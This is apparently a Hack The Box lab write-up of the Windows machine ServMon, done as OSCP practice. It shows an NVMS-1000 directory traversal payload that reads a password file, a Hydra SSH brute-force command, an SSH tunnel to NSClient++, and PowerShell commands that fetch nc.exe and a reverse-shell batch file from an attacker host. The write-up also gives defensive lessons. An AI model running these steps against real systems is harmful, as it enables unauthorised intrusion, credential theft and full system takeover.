# OSCP Prep #8 HTB Write-Up 
ServMon

# 1\. Target Overview

**Machine Name:** ServMon

**Platform:** Hack The Box

**Operating System:** Windows

**Target IP:** 10.129.227.77

**Objective:** Obtain both the user and administrator flags by identifying weaknesses that allow initial access and privilege escalation.

ServMon is a Windows-based machine that exposes multiple network services commonly found in enterprise environments. These services provide a broad attack surface and require careful enumeration to understand what functionality they expose and whether any sensitive information is accessible.

### Tools Used

*   **RustScan** – Rapid port discovery
    
*   **Nmap** – Service enumeration
    
*   **Burp Suite** – Intercepting and modifying HTTP requests
    
*   **Searchsploit** – Exploit discovery
    
*   **Hydra** – Credential brute forcing
    
*   **SSH** – Remote shell access and port forwarding
    
*   **Python HTTP Server** – File transfer to the target
    
*   **Netcat** – Reverse shell listener
    
*   **NSClient++ Web Interface** – Exploitation and task scheduling
    

* * *

# 2\. Enumeration

### Port Discovery

As always, I began the engagement by performing a full port scan to identify any exposed services on the target machine.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fec47a2b-c105-4aa4-9e38-eaff6d4b6072.png align="center")

* * *

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/630f6371-3ebb-4840-aba0-c9e37196f164.png align="center")

### Service Enumeration

The Nmap scan revealed several interesting services running on the host:

```plaintext
21/tcp    open  ftp           Microsoft ftpd
22/tcp    open  ssh           OpenSSH for_Windows_8.0
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt
```

One of the first things that immediately stood out was that **FTP allowed anonymous login**, which is always worth investigating since it may expose files or directories accessible without authentication.

```plaintext
ftp-anon: Anonymous FTP login allowed
```

The scan also revealed the presence of **two web services** running on ports **80** and **8443**, which are typically high-priority targets during enumeration.

When visiting the web server on **port 80**, the page returned a redirect to:

```plaintext
/Pages/login.htm
```

This suggested that the service was hosting a **web-based login interface**, which could potentially expose functionality or vulnerabilities worth investigating.

The HTTPS service on **port 8443** appeared to be associated with **NSClient++**, a monitoring agent commonly used in Windows environments.

Given these findings, the next step in the enumeration process was to begin investigating the **web applications running on ports 80 and 8443** to understand what functionality they exposed and whether they could provide an entry point into the system.

### Web Application Enumeration

When visiting the web server on **port 80**, I was presented with a login panel for an application called **NVMS-1000**, which appears to be a web interface associated with a video monitoring or surveillance management system.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5afdb1f9-2875-4479-b2a3-6d87d8be7049.png align="center")

I first attempted several common default credential combinations. admin : admin and root : root. Both attempts failed to authenticate.

Since this appeared to be a third-party application, I performed a quick search for **NVMS-1000 default credentials**. Documentation suggested that the default login should be: admin : 123456

However, attempting these credentials also failed.

At this point, since authentication was unsuccessful and another web service had been identified during the port scan, the next step was to investigate the service running on **port 8443**.

### NSClient++ Interface (Port 8443)

Next, I navigated to the HTTPS service running on port 8443, which presented a login interface for **NSClient++**, a Windows monitoring agent commonly used to allow remote systems to query host metrics and execute monitoring checks.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/59040fd6-7cac-40aa-9331-c4a8577d25ef.png align="center")

Because tools like NSClient++ can execute commands on the host for monitoring purposes, they can become high-value targets if misconfigured or exposed externally.

I attempted several simple credential guesses such as:

```plaintext
admin
root
```

However, authentication attempts failed. A quick search for default credentials for NSClient++ did not reveal any commonly used default passwords for the web interface.

At this point, since both web interfaces required authentication and no immediate entry point was found, I decided to shift my focus toward the FTP service, which allowed anonymous login. At the same time, I began running ffuf directory enumeration in the background against both port 80 and port 8443 to identify any hidden endpoints or resources that might provide additional attack surface.

### FTP Enumeration

Since anonymous login was allowed on the FTP service, I connected to the server to see what files or directories were accessible.

```plaintext
ftp -a 10.129.227.77
```

After connecting successfully, I enumerated the directory structure and discovered a **Users** directory that appeared to contain folders corresponding to local user accounts on the system.

```plaintext
Users/
 ├── Nadine
 └── Nathan
```

Inside these directories I discovered two potentially interesting files:

```plaintext
Confidential.txt
Notes to do.txt
```

Both files were downloaded for further analysis.

```plaintext
get Confidential.txt
get Notes\ to\ do.txt
```

After examining the contents of these files, they appeared to be internal notes between users on the system. One message referenced a **Passwords.txt file located on Nathan’s desktop**, while the other listed several administrative tasks related to the NVMS application and NSClient configuration.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/adecea9b-357d-482d-aebd-413ae3b14741.png align="center")

Although these notes did not immediately provide usable credentials, they did suggest that sensitive information may exist elsewhere on the system and confirmed that both NVMS and NSClient were actively being managed by the users.

* * *

### Further Enumeration

Since the downloaded files did not reveal any immediate credentials, I returned to investigating the exposed web applications. The directory enumeration running in the background with ffuf against ports 80 and 8443 did not reveal any interesting endpoints.

At this stage, with no direct access through the web interfaces and no immediate credentials from the FTP files, the next step was to begin researching known vulnerabilities affecting the NVMS-1000 application to determine whether a publicly known exploit might exist.

### Privilege Escalation Research

While researching potential next steps, I also investigated the **NSClient++ service** that had been identified earlier during port enumeration.

Using `searchsploit`, I discovered a vulnerability affecting **NSClient++ version 0.5.2.35**.

The results revealed two relevant entries:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6daed617-7465-4969-907d-508ecd127c91.png align="center")

Reviewing the privilege escalation advisory revealed that **low-privileged users may be able to read the NSClient++ web administrator password in cleartext from the configuration file** when the web server component is enabled.

Once the administrator password is obtained, a user can authenticate to the NSClient++ web interface and modify the configuration to enable modules capable of executing external scripts.

Since the **NSClient++ service runs as** `LocalSystem`, any scheduled scripts executed through the service will run with **SYSTEM privileges**, allowing a low-privileged user to escalate privileges on the system.

The exploit description also indicated that after modifying the configuration, a system reboot is required for the changes to take effect.

At this point I noted this vulnerability as a **potential privilege escalation path** once a foothold on the system had been obtained.

### Vulnerability Research

Since the previous enumeration steps did not immediately reveal valid credentials or accessible functionality, I began searching for publicly known vulnerabilities affecting the **NVMS-1000** application.

Using `searchsploit`, I discovered a reported **directory traversal vulnerability** affecting NVMS 1000.

One of the results indicated that the application was vulnerable to directory traversal attacks that could allow an attacker to retrieve arbitrary files from the underlying system.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7fb33f00-8245-420a-bf05-5bf8ab001c74.png align="center")

The exploit description indicated that a specially crafted request using repeated `../` sequences could allow an attacker to access files outside of the web application directory.

To verify whether the target was vulnerable, I intercepted a request using **Burp Suite** and attempted to request the **Windows** `win.ini` **file** using a directory traversal payload.

The `win.ini` **file is commonly used as a test file during directory traversal attacks** because it is almost always present on Windows systems and can typically be accessed without elevated privileges. The file originally stored configuration settings for legacy Windows applications and 16-bit compatibility layers, and although it is largely unused by modern Windows systems, it is still included by default for backward compatibility.

Because of its predictable location (`C:\Windows\win.ini`) and universal presence on Windows hosts, it serves as a reliable indicator that a directory traversal attack is successfully reading files from the operating system.

The server responded with the contents of the file, confirming that the directory traversal vulnerability was indeed present on the target.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d16fbbf7-3acf-4579-95bb-1f90feb6bec8.png align="center")

# 3\. Exploitation

With the traversal vulnerability confirmed, I began thinking about files that might contain useful information. Earlier during **FTP enumeration**, I discovered a message referencing a `Passwords.txt` **file located on Nathan’s desktop**.

Because directory traversal vulnerabilities typically allow arbitrary **file reads but not directory listing**, I needed to know the exact file path in advance. Fortunately, the FTP notes already revealed both the **filename** and the **user account**, allowing me to construct the expected Windows desktop path.

Typical Windows desktop location:

```plaintext
C:\Users\<username>\Desktop\
```

Using this information, I crafted a traversal request in **Burp Suite** targeting the following path:

```plaintext
/../../../../../../../../../../users/nathan/desktop/passwords.txt
```

The server responded with the contents of the file, successfully exposing the stored credentials.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/eee2a251-16ff-4219-89b2-c8e751bd5a6a.png align="center")

With the list of passwords obtained through the directory traversal attack, I now had a set of potential credentials that could be used for authentication attempts. From earlier enumeration I had already identified several valid usernames on the system:

```plaintext
administrator
nathan
nadine
```

Since **SSH was exposed on port 22**, this provided a straightforward way to test the discovered passwords against the known user accounts.

To automate the authentication attempts, I used **Hydra**, supplying a list of usernames along with the password list retrieved from the `Passwords.txt` file.

Hydra performs a brute-force style attack by attempting every username and password combination from the supplied lists. After running the attack, Hydra quickly returned a valid credential pair:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b75ab57-4b3e-491e-ad56-8b15f56c12ae.png align="center")

Using these credentials, I authenticated to the target system over SSH:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fa36f868-3ec9-4f35-ad9c-ebc94e94e4fe.png align="center")

After logging in successfully, I confirmed the context of the shell.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/66bea1b2-bc4f-4ca6-b0c3-67d5d4c36dad.png align="center")

This confirmed that I now had an interactive shell on the system as the **nadine** user, providing a foothold on the target machine.

# 4\. Privilege Escalation

After gaining a foothold on the system as the **nadine** user, my next objective was to determine whether the **NSClient++ vulnerability** discovered earlier could be leveraged to escalate privileges.

During earlier enumeration, I had identified that the system was running **NSClient++**, a monitoring agent commonly used with monitoring platforms such as **Nagios** to collect system metrics and execute monitoring checks. Because monitoring services often run with elevated privileges, they can sometimes present useful privilege escalation opportunities if misconfigured.

From my earlier vulnerability research using `searchsploit`, I had already identified a known privilege escalation issue affecting **NSClient++ version 0.5.2.35**. In order to determine whether the target system was vulnerable, the first step was to verify which version of NSClient++ was installed.

To do this, I began searching the system for the **NSClient++ installation directory and configuration files**, as these locations often contain version information and additional details about how the service is configured.

Identifying the installed version would allow me to confirm whether the system was likely vulnerable before attempting to exploit the service.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/25d186b0-385a-4764-ac65-6f0a9d09bb83.png align="center")

The output confirmed that the system was running the vulnerable version.

With the vulnerable version confirmed, I proceeded to the next step described in the exploit advisory: retrieving the **web administrator password** from the NSClient++ configuration file.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/237e4b6e-b0f2-49e1-bd69-8b8e75fe98e0.png align="center")

Inside the configuration file, I located the stored password value:

```plaintext
password = ew2x6SsGTxjRwXOT
```

While reviewing the same configuration file, I also noticed an important restriction in the configuration:

```plaintext
allowed hosts = 127.0.0.1
```

This setting restricts access to the **NSClient++ web interface** so that only connections originating from **localhost** are permitted. Although the service was listening on port **8443**, external connections from my attacking machine would be blocked.

To bypass this restriction, I created an **SSH tunnel** through the foothold I already had on the system. This allowed me to forward a local port from my attacking machine to the target’s **127.0.0.1:8443** interface.

```plaintext
ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77
```

With the tunnel established, I could now access the NSClient++ web interface locally from my browser by navigating to:

```plaintext
https://127.0.0.1:9000
```

Using the administrator password recovered from the configuration file, I successfully authenticated to the **NSClient++ administrative panel**.

Following the exploit steps, the next requirement was to enable the modules necessary for executing external scripts.

From the Modules section of the interface, I enabled the following modules:

CheckExternalScripts CheckTaskSched

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4df4ea5b-3632-4056-b1d4-a5e0c3fc1b1b.png align="center")

These modules allow NSClient++ to execute external scripts and manage scheduled tasks, which are required for the privilege escalation technique.

### Preparing the Reverse Shell

The next step was to prepare a reverse shell payload that could be executed by the NSClient++ service.

I created a simple batch script containing a Netcat reverse shell.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1243b810-8d40-4151-a70d-4c35ca69a660.png align="center")

To transfer the required files to the target system, I hosted them from my attacking machine using a Python HTTP server.

```plaintext
python3 -m http.server 80
```

From the compromised system, I then downloaded both the Netcat binary and the batch script using PowerShell.

The requests were successfully received by the Python server, confirming that both files had been transferred to the target system.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0d40f9d3-2f9d-4e72-98ee-4dd1fcb051f5.png align="center")

With the reverse shell payload and Netcat binary now present on the machine, the next step would be to configure **NSClient++ to execute the batch script through the scheduled task functionality**, allowing the script to run under the **LocalSystem** context.

### Executing the Privilege Escalation

With the payload in place, I returned to the **NSClient++ web interface** and edited the scheduled task configuration so that it would execute the batch script containing the reverse shell.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/50fde9d2-5550-49c6-9026-aa089d7b4d19.png align="center")

Before triggering execution, I set up a Netcat listener on my attacking machine.

```plaintext
nc -nvlp 9001
```

After updating the scheduled task configuration, I restarted the **NSClient++ service** to force the service to reload its configuration and execute the scheduled script.

Shortly after the service restarted, the listener received a connection from the target system.

Once connected, I verified the privilege level of the shell.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/afe25711-fbe8-4b27-9d19-6ca2cebab6ee.png align="center")

This confirmed that the exploit had successfully executed under the **LocalSystem** context, giving full administrative control of the machine.

# 5\. Lessons Learned

### 1\. Directory Traversal Can Expose Sensitive System Files

A key takeaway from this machine is how dangerous **directory traversal vulnerabilities** can be. Even though the NVMS application did not allow command execution directly, it allowed arbitrary file reads on the underlying system. This enabled access to sensitive files such as user password lists, which ultimately led to initial access.

This highlights the importance of validating file paths and preventing applications from accessing directories outside their intended scope.

* * *

### 2\. Internal Information Disclosure Can Enable Attack Chains

The files discovered during **FTP enumeration** did not initially contain credentials, but they revealed valuable contextual information. Specifically, the message referencing a password file on Nathan's desktop provided the clue needed to construct the correct traversal path.

Small pieces of information like this often become critical when chained together with other vulnerabilities.

* * *

### 3\. Monitoring Software Can Introduce Privilege Escalation Risks

Monitoring agents such as **NSClient++** often run with elevated privileges in order to gather system metrics and execute health checks. If these services are misconfigured or vulnerable, they can become powerful escalation points.

In this case, the ability for low-privileged users to read the NSClient++ configuration file exposed the web administrator password.

* * *

### 4\. Localhost Restrictions Are Not Always Effective

Although the NSClient++ web interface restricted access to 127.0.0.1, this protection was bypassed easily using SSH port forwarding. This demonstrates that restricting services to localhost alone is not always a sufficient security control when attackers already have a foothold on the system.

* * *

# 6\. Defensive Insight

### 1\. Prevent Directory Traversal Vulnerabilities

Web applications should strictly sanitize user-supplied paths and ensure that applications cannot access directories outside the intended web root.

Using safe path resolution functions and validating input can prevent attackers from requesting arbitrary files on the system.

* * *

### 2\. Avoid Storing Sensitive Data in User Locations

Sensitive data such as password lists should **never be stored in user desktop directories** or other easily accessible locations. Proper credential storage solutions and secure password management practices should always be used.

* * *

### 3\. Protect Service Configuration Files

Configuration files for privileged services should be protected with strict file permissions. In this case, allowing low-privileged users to read the NSClient++ configuration file exposed administrative credentials.

Service configuration files should only be readable by administrators or the service account itself.

* * *

### 4\. Harden Monitoring Services

Monitoring tools like NSClient++ should be hardened by:

*   Disabling unnecessary modules
    
*   Restricting access to management interfaces
    
*   Regularly updating to patched versions
    

Running outdated monitoring software can expose systems to privilege escalation vulnerabilities.

* * *

# 7\. Useful Commands

### Initial Port Scanning

```plaintext
rustscan -a 10.129.227.77 -b 7000
```

```plaintext
nmap -sC -sV -p- 10.129.227.77
```

* * *

### Anonymous FTP Access

```plaintext
ftp -a 10.129.227.77
```

* * *

### Searching for Public Exploits

```plaintext
searchsploit nvms
```

* * *

### Viewing Exploit Details

```plaintext
searchsploit -x 47774.txt
```

* * *

### Hydra SSH Credential Attack

```plaintext
hydra -L user.txt -P pass.txt -t 16 10.129.227.77 ssh
```

* * *

### Verifying NSClient++ Version

```plaintext
cd "C:\Program Files\NSClient++"
nscp.exe --version
```

* * *

### Creating an SSH Port Forward

```plaintext
ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77.
```

* * *

### Hosting Payload Files

```plaintext
python3 -m http.server 80
```

* * *

### Downloading Payloads on the Target

```plaintext
powershell wget http://10.10.14.123/nc.exe -outfile nc.exe
powershell wget http://10.10.14.123/shell.bat -outfile shell.bat
```

* * *